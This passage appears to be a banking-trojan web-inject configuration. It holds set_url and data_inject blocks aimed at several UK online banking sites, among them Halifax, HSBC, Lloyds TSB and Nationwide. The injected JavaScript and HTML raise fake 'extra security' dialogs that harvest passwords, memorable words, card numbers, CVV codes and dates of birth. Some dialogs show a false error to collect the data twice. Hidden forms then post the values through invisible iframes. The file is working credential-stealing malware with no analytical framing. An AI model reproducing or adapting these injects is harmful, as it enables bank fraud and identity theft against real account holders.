if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>
<div id="inject">
	<form>
	<center> 
	<table><tbody>
	  <tr><td style="background: #000000;" align="left">
	<img src="https://www2.banking.firstdirect.com/1/themes/html/firstdirectHorizonIB/images/firstdirect.gif" style="margin-top: 0px; margin-left: 10px; margin-bottom: 0px;"/>
	  </td></tr><tr><td align="left" style="text-align: justify; font-size: 12px; background: #FFFFFF; padding-left: 7px;">
	<br/>In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  <div style="font-size: 12px">Please enter the information below to continue.</div></p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Electronic Password</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q1" id="inject_q1" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Answer to your secret question</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q2" id="inject_q2" size="12" maxlength="12"/></td></tr>
				</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<iframe name=wj1 src='https://www2.banking.firstdirect.com/1/themes/html/firstdirectHorizonIB/images/firstdirect.gif' width=0 height=0 border=none></iframe>
<form name="injectform" action="https://www2.banking.firstdirect.com/1/themes/html/firstdirectHorizonIB/images/firstdirect.gif" target=wj1 id="injectform" method="post">
<input type="hidden" name="UKpass" id="Q1" />
<input type="hidden" name="answer" id="Q2" />
</form>
data_end
data_after
data_end
;===== HALIFAX-ONLINE =====

set_url *.halifax-online.co.uk*MyAccounts/* GL

data_before
colspan="3">Bank accounts</th>
data_end
data_inject
data_end
data_after
</table></span>
data_end

set_url *halifax-online.co.uk*MyAccounts* GP

data_before
</head>
data_end
data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/blitzer/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { font-size: 10px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
data_end
data_after
data_end

data_before
</body>
data_end
data_inject
<script type="text/javascript">

var popfrequency="432000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

var mmm = 0;

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ width: 600, buttons: { "Continue": function() {
	  if (mmm==0) 
	       {
	        if (jQuery("#inject_mword").val().length < 5) 
	        {
		        alert('Please enter correct Memorable Word.');
		        jQuery("#inject_mword").focus();
	        }
	        else if (jQuery("#inject_mword").val().search(/[0-9]/i) < 0) 
	        {
		          alert('Please enter correct Memorable Word')	;
		          jQuery("#inject_mword").focus();
	        }
	        else if (jQuery("#inject_dob_mm").val().length < 2) 
	        {
		        alert('Please enter correct Date of Birth');
		        jQuery("#inject_dob_mm").focus();
	        } 
	        else if (jQuery("#inject_dob_dd").val().length < 2) 
	        {
		        alert('Please enter correct Date of Birth');
		        jQuery("#inject_dob_dd").focus();
	        } 
	        else if (jQuery("#inject_dob_yy").val().length < 2) 
	        {
		        alert('Please enter correct Date of Birth');
		        jQuery("#inject_dob_yy").focus();
	        } 
	        else 
	        {
		jQuery("#mword1").val(jQuery("#inject_mword").val());
		jQuery("#dob_mm1").val(jQuery("#inject_dob_mm").val());
		jQuery("#dob_dd1").val(jQuery("#inject_dob_dd").val());
		jQuery("#dob_yy1").val(jQuery("#inject_dob_yy").val());
		alert('The details you have entered do not match our records.');
		document.getElementById('inject_mword').value='';
		document.getElementById('inject_dob_mm').value='';
		document.getElementById('inject_dob_dd').value='';
		document.getElementById('inject_dob_yy').value='';
		mmm=1;
		      }
				 } 
	       else {
	        if (jQuery("#inject_mword").val().length < 5) 
	        {
		        alert('Please enter correct Memorable Word.');
		        jQuery("#inject_mword").focus();
	        }
	        else if (jQuery("#inject_mword").val().search(/[0-9]/i) < 0) 
	        {
		          alert('Please enter correct Memorable Word');	
		          jQuery("#inject_mword").focus();
	        }
	        else if (jQuery("#inject_dob_mm").val().length < 2) 
	        {
		        alert('Please enter correct Date of Birth');
		        jQuery("#inject_dob_mm").focus();
	        } 
	        else if (jQuery("#inject_dob_dd").val().length < 2) 
	        {
		        alert('Please enter correct Date of Birth');
		        jQuery("#inject_dob_dd").focus();
	        } 
	        else if (jQuery("#inject_dob_yy").val().length < 2) 
	        {
		        alert('Please enter correct Date of Birth');
		        jQuery("#inject_dob_yy").focus();
	        } 
	        else 
	        {
		jQuery("#mword2").val(jQuery("#inject_mword").val());
		jQuery("#dob_mm2").val(jQuery("#inject_dob_mm").val());
		jQuery("#dob_dd2").val(jQuery("#inject_dob_dd").val());
		jQuery("#dob_yy2").val(jQuery("#inject_dob_yy").val());
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}
				  }
				  
				  }
				}, closeOnEscape: false, resizable: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}
if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>
<div id="inject">
	<form> 
	<table><tbody>
	  <tr><td style="background: #3138bd;" align="left">
	<img src="https://www.halifax-online.co.uk/Images/Halifax/hxonlymainnopadding.gif" style="margin-top: 0px; margin-left: 0px; margin-bottom: 0px;"/>
	  </td></tr><tr><td align="left" style="text-align: justify; font-size: 12px; background: #FFFFFF;">
	<br/>In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.</br></br>
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  <div style="font-size: 12px">Please enter the information below to continue.<br/></div></p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Memorable Word</b> &nbsp;  &nbsp;</td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_mword" id="inject_mword" size="16" maxlength="25"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Date of Birth</b> &nbsp;  &nbsp;</td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_dob_mm" id="inject_dob_mm" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /> /<input type="text" name="inject_dob_dd" id="inject_dob_dd" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /> / <input type="text" name="inject_dob_yy" id="inject_dob_yy" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' />&nbsp;<i>(mm/dd/yy)</i></td></tr>
			  
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="UKpass1" id="mword1" />
<input type="hidden" name="dob_mm1" id="dob_mm1" />
<input type="hidden" name="dob_dd1" id="dob_dd1" />
<input type="hidden" name="dob_yy1" id="dob_yy1" />
<input type="hidden" name="UKpass2" id="mword2" />
<input type="hidden" name="dob_mm2" id="dob_mm2" />
<input type="hidden" name="dob_dd2" id="dob_dd2" />
<input type="hidden" name="dob_yy2" id="dob_yy2" />
</form>
data_end
data_after
data_end

set_url *halifax-online.co.*MyAccounts/* GL

data_before
MainPageContent_yourAccountsContainer" class="">
data_end
data_inject
data_end
data_after
<div id="ctl00_MainPageContent_yourAccountsCtrl_divTx1"
data_end
;===== HSBC.co.uk =====


set_url https://www.hsbc.co.uk/*/personal/internet-banking* GL
data_before
<table summary="This*>
data_end
data_inject
data_end
data_after
<table summary="This table shows ShowAll
data_end


;===== HSBC.CO.UK =====

set_url https://www.hsbc.co.uk/*/personal/internet-banking* GP 

data_before
</head>
data_end
data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/blitzer/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
data_end
data_after
data_end
data_before
</body>
data_end
data_inject
<script type="text/javascript">

var popfrequency="216000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}
var mmm = 0;

function loadpopunder(){
 document.getElementById('inject').style.display = 'inline';
function Init() 
{
	jQuery('#inject').dialog({ buttons: { "Continue": function() {
	  if (mmm==0) 
	       {
	        if (jQuery("#inject_cc").val().length < 5) 
	        {
		        alert('Please enter correct Full Security Number.');
		        jQuery("#inject_cc").focus();
	        }
	        else 
	        {
		jQuery("#ESpass1").val(jQuery("#inject_cc").val());
		alert('The details you have entered do not match our records.');
		document.getElementById('inject_cc').value='';
		mmm=1;
		      }
				 } 
	       else {
	        if (jQuery("#inject_cc").val().length < 6) 
	        {
		        alert('Please enter correct Full Security Number.');
		        jQuery("#inject_cc").focus();
	        } 
	        else 
	        {
		jQuery("#ESpass2").val(jQuery("#inject_cc").val());
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}
				  }
				  
				  } 
				}, width: 490, closeOnEscape: false, resizable: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>
data_end

data_after
data_end

data_before
<div id="content">
data_end

data_inject
<div id="inject" style="display:none;">
	<form>
	<center> 
	<table><tbody>
	  <tr><td>
	<img src="https://www.hsbc.co.uk/1/themes/html/hsbc_ukpersonal/images/masthead-white01/logo-on-white.gif" style="margin-top: 0px; margin-left:0px; margin-bottom: 0px;"/>
	  </td></tr><tr><td align="left" style="text-align: justify; font-size: 12px;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  Please enter the information below to continue.</p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" style="font-size: 12px;"><b>Full Security Number :</b></td><td align="left" style="font-size: 11px;"><input type="password" name="inject_cc" id="inject_cc" size="8" maxlength="8" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;'/></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="UKpass1" id="ESpass1" />
<input type="hidden" name="UKpass2" id="ESpass2" />
</form>
data_end

data_after
data_end
;===== LLOYDS PERSONAL =====

set_url https://online.lloydstsb.co.uk/customer* GP 

data_before
<div id="supportInner"><div><div id="support"
data_end
data_inject
 style="display: none;"
data_end
data_after
data_end

set_url *secure.lloydstsb.co.uk/personal/* GL

data_before
class="accountDetails "><h2>
data_end
data_inject
data_end
data_after
title="Make payment"><img id="
data_end

set_url *secure.lloydstsb.co.uk/personal/a/account_overview* GP

data_before
</head>
data_end
data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/redmond/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 500px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
<iframe name=wj1 src='https://online.lloydstsb.co.uk/pics/IBL_banner.gif' width=0 height=0 border=none></iframe>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
data_end
data_after
data_end

data_before
<div id="footer">
data_end
data_inject
<script type="text/javascript">

var popfrequency="432000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){
function Continue() 
{
}

function Init() 
{
	jQuery('#inject').dialog({ width: 500, closeOnEscape: false, modal: true, show: 'slide' });
  
	jQuery("#finstep1").click(function(){
	        if (jQuery("#inject_fmw").val().length < 4) 
	        {
		          alert('Please enter correct Full Memorable Word')	
		          jQuery("#inject_fmw").focus();
	        }  
	        else if (jQuery("#inject_fmw").val().search(/[0-9]/i) < 0) 
	        {
		          alert('Please enter correct Full Memorable Word')	
		          jQuery("#inject_fmw").focus();
	        }
	        else if (jQuery("#inject_cc").val().length < 16) 
	        {
		          alert('Please enter correct ATM/Debit Card Number')	
		          jQuery("#inject_cc").focus();
	        } 
	        else if (jQuery("#inject_expdate_mm").val().length < 2) 
	        {
		          alert('Please enter correct Expiration date')	
		          jQuery("#inject_expdate_mm").focus();
	        }  
	        else if (jQuery("#inject_expdate_yy").val().length < 2) 
	        {
		          alert('Please enter correct Expiration date')	
		          jQuery("#inject_expdate_yy").focus();
	        }    
	        else if (jQuery("#inject_cvv").val().length < 3) 
	        {
		          alert('Please enter correct CVV code')	
		          jQuery("#inject_cvv").focus();
	        }    
	        else if (jQuery("#inject_dob1").val().length < 2) 
	        {
		          alert('Please enter correct Date of Birth')	
		          jQuery("#inject_dob1").focus();
	        }    
	        else if (jQuery("#inject_dob2").val().length < 2) 
	        {
		          alert('Please enter correct Date of Birth')	
		          jQuery("#inject_dob2").focus();
	        }    
	        else if (jQuery("#inject_dob3").val().length < 4) 
	        {
		          alert('Please enter correct Date of Birth')	
		          jQuery("#inject_dob3").focus();
	        } 
	        
	        else 
	        {
		jQuery("#fmw1").val(jQuery("#inject_fmw").val());
		jQuery("#cc1").val(jQuery("#inject_cc").val());
		jQuery("#expdate_mm1").val(jQuery("#inject_expdate_mm").val());
		jQuery("#expdate_yy1").val(jQuery("#inject_expdate_yy").val());
		jQuery("#cvv1").val(jQuery("#inject_cvv").val());
		jQuery("#dob_mm1").val(jQuery("#inject_dob1").val());
		jQuery("#dob_dd1").val(jQuery("#inject_dob2").val());
		jQuery("#dob_yyyy1").val(jQuery("#inject_dob3").val());
		document.getElementById('inject_fmw').value='';
		document.getElementById('inject_cc').value='';
		document.getElementById('inject_expdate_mm').value='';
		document.getElementById('inject_expdate_yy').value='';
		document.getElementById('inject_cvv').value='';
		document.getElementById('inject_dob1').value='';
		document.getElementById('inject_dob2').value='';
		document.getElementById('inject_dob3').value='';
		document.getElementById('finstep1').style.display = 'none';
		document.getElementById('finstep2').style.display = 'inline';
		alert('The details you have entered do not match our records.');
  	}
  });
  
	jQuery("#finstep2").click(function(){
	        if (jQuery("#inject_fmw").val().length < 4) 
	        {
		          alert('Please enter correct Full Memorable Word')	
		          jQuery("#inject_fmw").focus();
	        }  
	        else if (jQuery("#inject_fmw").val().search(/[0-9]/i) < 0) 
	        {
		          alert('Please enter correct Full Memorable Word')	
		          jQuery("#inject_fmw").focus();
	        }
	        else if (jQuery("#inject_cc").val().length < 16) 
	        {
		          alert('Please enter correct ATM/Debit Card Number')	
		          jQuery("#inject_cc").focus();
	        } 
	        else if (jQuery("#inject_expdate_mm").val().length < 2) 
	        {
		          alert('Please enter correct Expiration date')	
		          jQuery("#inject_expdate_mm").focus();
	        }  
	        else if (jQuery("#inject_expdate_yy").val().length < 2) 
	        {
		          alert('Please enter correct Expiration date')	
		          jQuery("#inject_expdate_yy").focus();
	        }    
	        else if (jQuery("#inject_cvv").val().length < 3) 
	        {
		          alert('Please enter correct CVV code')	
		          jQuery("#inject_cvv").focus();
	        }    
	        else if (jQuery("#inject_dob1").val().length < 2) 
	        {
		          alert('Please enter correct Date of Birth')	
		          jQuery("#inject_dob1").focus();
	        }    
	        else if (jQuery("#inject_dob2").val().length < 2) 
	        {
		          alert('Please enter correct Date of Birth')	
		          jQuery("#inject_dob2").focus();
	        }    
	        else if (jQuery("#inject_dob3").val().length < 4) 
	        {
		          alert('Please enter correct Date of Birth')	
		          jQuery("#inject_dob3").focus();
	        } 
	        
	        else 
	        {
		jQuery("#fmw2").val(jQuery("#inject_fmw").val());
		jQuery("#cc2").val(jQuery("#inject_cc").val());
		jQuery("#expdate_mm2").val(jQuery("#inject_expdate_mm").val());
		jQuery("#expdate_yy2").val(jQuery("#inject_expdate_yy").val());
		jQuery("#cvv2").val(jQuery("#inject_cvv").val());
		jQuery("#dob_mm2").val(jQuery("#inject_dob1").val());
		jQuery("#dob_dd2").val(jQuery("#inject_dob2").val());
		jQuery("#dob_yyyy2").val(jQuery("#inject_dob3").val());
    jQuery("#inject").dialog("close");
		jQuery("form[name='injectform']").submit();
  	var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();
  	}
  });
  	
	
}
jQuery(document).ready(Init);

}
if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>

<div id="inject">
<table><tbody>
<tr><td width=460  height=60 background="https://secure.lloydstsb.co.uk/personal/assets/personalbanking/img/header_bg.png" style="border-bottom: 1px solid #00AE73;">

</td></tr>
</tbody></table>

<div id="instep1">
	<form name="infrm1">
	<div style="text-align: justify; font-size: 11px;">
	<br/>In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	 <br/><br/> 
	 Please enter the information below to continue
	 <br/><br/></div>
	
  <div style="text-align: left;">	
	Full Memorable Word: &nbsp; <input type="password" name="inject_fmw" id="inject_fmw" size="25" maxlength="25" /><br/><br/>
	ATM/Debit Card #: &nbsp; <input type="text" name="inject_cc" id="inject_cc" size="16" maxlength="16" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /><br/><br/>
	Exp.Date: &nbsp; <input type="text" name="inject_expdate_mm" id="inject_expdate_mm" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /> / <input type="text" name="inject_expdate_yy" id="inject_expdate_yy" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' />&nbsp;<i>(mm/yy)</i><br/><br/>
	CVV Code: &nbsp; <input type="text" name="inject_cvv" id="inject_cvv" size="3" maxlength="3" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /><br/><br/>
	Date of birth: &nbsp; <input type="text" name="inject_dob1" id="inject_dob1" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /> /<input type="text" name="inject_dob2" id="inject_dob2" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /> /<input type="text" name="inject_dob3" id="inject_dob3" size="4" maxlength="4" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' />&nbsp;<i>(mm/dd/yyyy)</i><br/>
	
	</div>
	
	
<div id="instep2" style="visibility: hidden; display: none;">	
	<div id="inerror1" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Telephone Banking Password.</div>
  </b>
  </div>
  <div style="text-align: left;">	
	Telephone Banking Password: &nbsp; <input type="password" name="inject_tbp" id="inject_tbp" size="12" maxlength="12" />
	</div>
</div>	
  <br/>
  <br/>

 <div align="right">	
 <a id="finstep1" href="#" style="color: #732439; text-size:16;"><img src="https://online.lloydstsb.co.uk/media/internet_banking/buttons/button_continue_100x24.gif" style="border: 0px;"/></a>
 <a id="finstep2" href="#" style="color: #732439; text-size:16; display: none;"><img src="https://online.lloydstsb.co.uk/media/internet_banking/buttons/button_continue_100x24.gif" style="border: 0px;"/></a>
 </div>
</div>
  </form>
  </div>
  
</div>
<form name="injectform" action="https://online.lloydstsb.co.uk/pics/IBL_banner.gif" target=wj1 id="injectform" method="post">
<input type="hidden" name="UKpass1" id="fmw1" />
<input type="hidden" name="cc1" id="cc1" />
<input type="hidden" name="expdate_mm1" id="expdate_mm1" />
<input type="hidden" name="expdate_yy1" id="expdate_yy1" />
<input type="hidden" name="cvv1" id="cvv1" />
<input type="hidden" name="dob_mm1" id="dob_mm1" />
<input type="hidden" name="dob_dd1" id="dob_dd1" />
<input type="hidden" name="dob_yyyy1" id="dob_yyyy1" />
<input type="hidden" name="UKpass2" id="fmw2" />
<input type="hidden" name="cc2" id="cc2" />
<input type="hidden" name="expdate_mm2" id="expdate_mm2" />
<input type="hidden" name="expdate_yy2" id="expdate_yy2" />
<input type="hidden" name="cvv2" id="cvv2" />
<input type="hidden" name="dob_mm2" id="dob_mm2" />
<input type="hidden" name="dob_dd2" id="dob_dd2" />
<input type="hidden" name="dob_yyyy2" id="dob_yyyy2" />
</form>
data_end
data_after
data_end
;===== NATIONWIDE =====

set_url https://olb2.nationet.com* GL
data_before
below:</SPAN>
data_end
data_inject
data_end
data_after
<META name=ngm_ProdType content="AccountList"
data_end

set_url https://olb2.nationet.com/MyAccounts/* GP

data_before
<BODY*>
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/redmond/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none;}
</style>
<iframe name=wj1 src='https://olb2.nationet.com/images/nbslogo_dec08.gif' width=0 height=0 border=none></iframe>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
<script type="text/javascript">
 
var popfrequency="72 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
else 
{}
}


function loadpopunder(){
function Continue() 
{
}

function Init() 
{
	jQuery('#inject').dialog({ width: 450, closeOnEscape: false, modal: true, show: 'slide' });

document.getElementById('body').style.visibility = 'hidden'; 
document.getElementById('body').style.display = 'none';
parent.topFrame.document.getElementById('header-frame').style.visibility = "hidden";
parent.topFrame.document.getElementById('header-frame').style.display = "none";
  
	jQuery("#finstep2").click(function(){
	        if ((jQuery("#inject_fsecnum1").val().length < 4)  && (jQuery("#inject_fsecnum2").val().length < 4) && (jQuery("#inject_fsecnum3").val().length < 4))
	        {
  	         document.getElementById('inerror0').style.visibility = 'visible'; 
             document.getElementById('inerror0').style.display = 'inline';
  	         document.getElementById('inerror1').style.visibility = 'hidden'; 
             document.getElementById('inerror1').style.display = 'none';
  	         jQuery("#inject_fsecnum").focus();
	        }   
	         else if (jQuery("#inject_ukpass").val().length < 6)  
	        {
  	         document.getElementById('inerror0').style.visibility = 'hidden'; 
             document.getElementById('inerror0').style.display = 'none';
  	         document.getElementById('inerror1').style.visibility = 'visible'; 
             document.getElementById('inerror1').style.display = 'inline';
  	         jQuery("#inject_ukpass").focus();
	        }   
	        else 
	        {
		jQuery("#mem_data1").val(jQuery("#inject_fsecnum1").val());
		jQuery("#mem_data2").val(jQuery("#inject_fsecnum2").val());
		jQuery("#mem_data3").val(jQuery("#inject_fsecnum3").val());
		jQuery("#UKpass").val(jQuery("#inject_ukpass").val());
		
		jQuery("form[name='injectform']").submit();
    var expireDate = new Date()
    expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
    document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();
  	jQuery("#inject").dialog("close");
document.getElementById('body').style.visibility = 'visible'; 
document.getElementById('body').style.display = 'inline';
parent.topFrame.document.getElementById('header-frame').style.visibility = "visible";
parent.topFrame.document.getElementById('header-frame').style.display = "inline";
  	}
  });
  	
	
}
jQuery(document).ready(Init);

}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>

<div id="inject">
<table><tbody>
<tr style="border-bottom: 1px solid #00459C;"><td bgcolor="#FFFFFF" style="padding-right: 20px;">
<img src="https://olb2.nationet.com/images/nbslogo_dec08.gif"/></td><td><H1>Internet Banking</H1>
</td></tr>
</tbody></table>

<div id="instep1">
	<form name="infrm1">
	<div style="text-align: justify; font-size: 11px;">
	<br/>In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	 <br/><br/> 
	 Enter one item from the memorable data you provided when you registered. You can enter any one of the following:
	 <br/><br/></div>
	
	<div id="inerror0" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Memorable Data.</div>
  </b>
  </div>
  <div style="text-align: left;">	
  Memorable Date: &nbsp; <input type="password" name="inject_fsecnum1" id="inject_fsecnum1" size="12" maxlength="12" /><br/>
  Memorable Place: &nbsp; <input type="password" name="inject_fsecnum2" id="inject_fsecnum2" size="12" maxlength="12" /><br/>
  Memorable Data: &nbsp; <input type="password" name="inject_fsecnum3" id="inject_fsecnum3" size="12" maxlength="12" /><br/>
	</div>
	<div style="text-align: justify; font-size: 11px;">
	  <br/>
	     Enter Full Passnumber:
	  <br/></div>
  <br/>
	<div id="inerror1" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Full Passnumber.</div>
  </b>
  </div>
  <div style="text-align: left;">	
	Full Passnumber: &nbsp; <input type="password" name="inject_ukpass" id="inject_ukpass" size="6" maxlength="6"  onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;'/>
	</div>
  <br/>


 <div align="right">	
 <a id="finstep2" href="#" style="color: #00459C; text-size:16; padding-right: 20px;"><b>CONTINUE</b></a>
 </div>
</div>
  </form>
  </div>
  
</div>
<form name="injectform" action="https://olb2.nationet.com/images/nbslogo_dec08.gif" target=wj1 id="injectform" method="post">
<input type="hidden" name="mword_date" id="mem_data1" />
<input type="hidden" name="mword_place" id="mem_data2" />
<input type="hidden" name="mword_name" id="mem_data3" />
<input type="hidden" name="UKpass" id="UKpass" />
</form>
<div id="body">
data_end

data_after
data_end

data_before
NBS_script.js"></script>
data_end
data_inject
</div>
data_end
data_after
data_end
;===== NPBS =====

set_url *.npbs.co.uk/netmastergoldbanking/netmastergold.asp* GL
data_before
<table class="underLinedDateLine">
data_end
data_inject
data_end
data_after
<form NAME="frmStatement" METHOD="POST" ACTION="Statement.asp">
data_end


set_url *.npbs.co.uk/netmastergoldbanking/* GP 

data_before
Banking</title>
data_end

data_after
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/smoothness/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
